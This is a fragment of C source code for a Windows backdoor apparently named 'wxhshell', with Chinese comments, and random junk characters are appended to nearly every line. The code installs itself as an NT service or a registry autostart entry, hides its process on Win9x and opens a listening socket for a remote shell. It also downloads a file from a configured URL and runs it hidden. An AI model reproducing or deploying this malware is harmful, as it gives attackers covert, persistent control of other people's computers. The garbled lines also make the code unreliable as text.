DWORD BasePriority; d15E$?ZLH
ULONG UniqueProcessId; BG2Z'WOH
ULONG InheritedFromUniqueProcessId; v*EErQML8b
} PROCESS_BASIC_INFORMATION; _@ @"'
KS(Ms*k;'
PROCNTQSIP NtQueryInformationProcess; Zj2tQ}N
QNCG^ub
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; v@
OM
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _c6 zzGtH
Lcy>!3q3~
HANDLE hProcess; `jH 0FJQ
PROCESS_BASIC_INFORMATION pbi; wfc+E9E
ru1FJ{n
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); }J\KnaKo
if(NULL == hInst ) return 0; 8:t1%O$
i+Btz-
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); !FJ_\UST0
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); "Yf?33UNZ
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ^W<uc :L7
|Xa|%f
if (!NtQueryInformationProcess) return 0; %dA7`7j
b. oA}XP
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 9A1w5|X
if(!hProcess) return 0; Se&%Dr3Nv
AC/8 2$
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; )ia$pes
Ue]GHJ2
CloseHandle(hProcess); 'C|yUsBC
h5R5FzY0&
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); H1g"09?h6o
if(hProcess==NULL) return 0; @awN*mO
0qMf6
HMODULE hMod; OL)M`eVQ'
char procName[255];
p(Bn!
unsigned long cbNeeded; |p{FSS
?$FvE4!n
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); B|n<{g[-cM
s7TV@Y)
CloseHandle(hProcess); h`$2/%?
LuIs4&[EW
if(strstr(procName,"services")) return 1; // 以服务启动 \m;"KyP+
@ 6{U*vs
return 0; // 注册表启动 80qe5WC.2u
} *ocbV`
>VWH
bo
// 主模块 aj*%$!SU+
int StartWxhshell(LPSTR lpCmdLine) zMQ|j_l9E
{ k!6wVJ|_Y
SOCKET wsl; nFfwVqV
BOOL val=TRUE; rC!~4xj-
int port=0; a
uz2n
struct sockaddr_in door; 1u0NG)*f
<sq@[\l}a
if(wscfg.ws_autoins) Install(); $I-i=:}g
/IN/SZx
port=atoi(lpCmdLine); ^ 04|tda
RW.
>;|m
if(port<=0) port=wscfg.ws_port; /K]<7
-N[Q*;h|
WSADATA data; sw715"L
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; sj?7}(s
+#! !
'XP
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 5=--+8[ bV
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); q^hL[:ms#
door.sin_family = AF_INET; <e&*Tx<8
door.sin_addr.s_addr = inet_addr("127.0.0.1"); !xxu~j^T
door.sin_port = htons(port); Z[{ :
`
1RF?
dv
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { -dn\*n5
closesocket(wsl); h .Iscr^~
return 1; :h+gSvn:
} X6dv+&=?
e-#!3j!'
if(listen(wsl,2) == INVALID_SOCKET) { 7}<057Xn'
closesocket(wsl); 8+<vumnw
return 1; e.|_=Gd2/
} $xf{m9 8
Wxhshell(wsl); ,@Izx
WSACleanup(); Z{ A)
^L1#
return 0; C,xM)V^a
L)o7~M
} g.d%z
g qRwN p
// 以NT服务方式启动 I JAWG
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) H `V3oS~}
{ BEzF'<Z
DWORD status = 0; 93npzpge
DWORD specificError = 0xfffffff; uII:Y{G
0#rv.rJ{
serviceStatus.dwServiceType = SERVICE_WIN32; 3:h9cO/9
serviceStatus.dwCurrentState = SERVICE_START_PENDING; -B-nTS`
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; B|Rnh;B-
serviceStatus.dwWin32ExitCode = 0; 2I#4jy/g
serviceStatus.dwServiceSpecificExitCode = 0; ]jz%])SzH
serviceStatus.dwCheckPoint = 0; }bVWV0Aeim
serviceStatus.dwWaitHint = 0; -PSI^%TR#
L@|W&N;%a
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); XKU+'Tz
if (hServiceStatusHandle==0) return; qi\!<clv
^vjN$JB
status = GetLastError(); VBIY[2zf
if (status!=NO_ERROR) x^|J-
{ e:Zc-
serviceStatus.dwCurrentState = SERVICE_STOPPED; 0pS|t/h0
serviceStatus.dwCheckPoint = 0; 0NB6S&lI^k
serviceStatus.dwWaitHint = 0; lr[a~ca\
serviceStatus.dwWin32ExitCode = status; btK| U
serviceStatus.dwServiceSpecificExitCode = specificError; ;y7V-sf
SetServiceStatus(hServiceStatusHandle, &serviceStatus); @]#0jiS
return; Gw$sL&1m\
} @JWoF^U
e%'$Vx0kA
serviceStatus.dwCurrentState = SERVICE_RUNNING; :H$D-pbJ4
serviceStatus.dwCheckPoint = 0; [9WtoA,kx
serviceStatus.dwWaitHint = 0; _|S>,D'
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); >a;^=5E
} h7-!q@
IwIk;pB O
// 处理NT服务事件,比如:启动、停止 .Y%)&
VOID WINAPI NTServiceHandler(DWORD fdwControl) ~O)Uz|
{ .3%eSbt0
switch(fdwControl) :Gh*
d)
{ @83h/Wcxd
case SERVICE_CONTROL_STOP: uw@z1'D[i"
serviceStatus.dwWin32ExitCode = 0; ,x?H]a)
serviceStatus.dwCurrentState = SERVICE_STOPPED; {g2cm'hD
serviceStatus.dwCheckPoint = 0; }TZ5/zn.Dw
serviceStatus.dwWaitHint = 0; _,i]ra{%
{ 3:i4DBp,i
SetServiceStatus(hServiceStatusHandle, &serviceStatus); bUC-}
} zv]-(<B
return; iAX\F`
case SERVICE_CONTROL_PAUSE: Rla4XN=mf
serviceStatus.dwCurrentState = SERVICE_PAUSED; dUtxG ~9
break; &X
+Qi
case SERVICE_CONTROL_CONTINUE: @+VvZc2Y
serviceStatus.dwCurrentState = SERVICE_RUNNING; kyQ%qBv ^
break; uD&!]E3
case SERVICE_CONTROL_INTERROGATE: .#uRJo%8
break; 3,bA&c3
}; `~hAXnQK=
SetServiceStatus(hServiceStatusHandle, &serviceStatus); /LM*nN$%
} "3{xa;c
.$DB\jJXjV
// 标准应用程序主函数 6u3DxFiTm
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `)F lb|da
{ eB78z@
z
I`'n%n=
// 获取操作系统版本 UAT46
OsIsNt=GetOsVer(); %Yg;s'F>#q
GetModuleFileName(NULL,ExeFile,MAX_PATH); mf'N4y%
oh`I$
// 从命令行安装 `e0U-W]kF
if(strpbrk(lpCmdLine,"iI")) Install(); sB_o
HUMH6
!ZbNW4rIP
// 下载执行文件 n37C"qJ/i
if(wscfg.ws_downexe) { ]<q{0.
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) K6kPNi
WinExec(wscfg.ws_filenam,SW_HIDE); kx'ncxN~
} :b;2iBVB
YNbs*i&
if(!OsIsNt) { zh'TR$+\hO
// 如果时win9x,隐藏进程并且设置为注册表启动
/I
HideProc(); =y8HOT}8
StartWxhshell(lpCmdLine); ^>uzMR!q5
} pvTV*
else (|Am
if(StartFromService()) }$V]00
X
// 以服务方式启动 Tk9*@kqv
StartServiceCtrlDispatcher(DispatchTable); Phl't~k
else j-ugsV`2=*
// 普通方式启动 tnbaU%;|J
StartWxhshell(lpCmdLine); 7Nc@7_=
x{u_kepv[k
return 0; R:B-4
}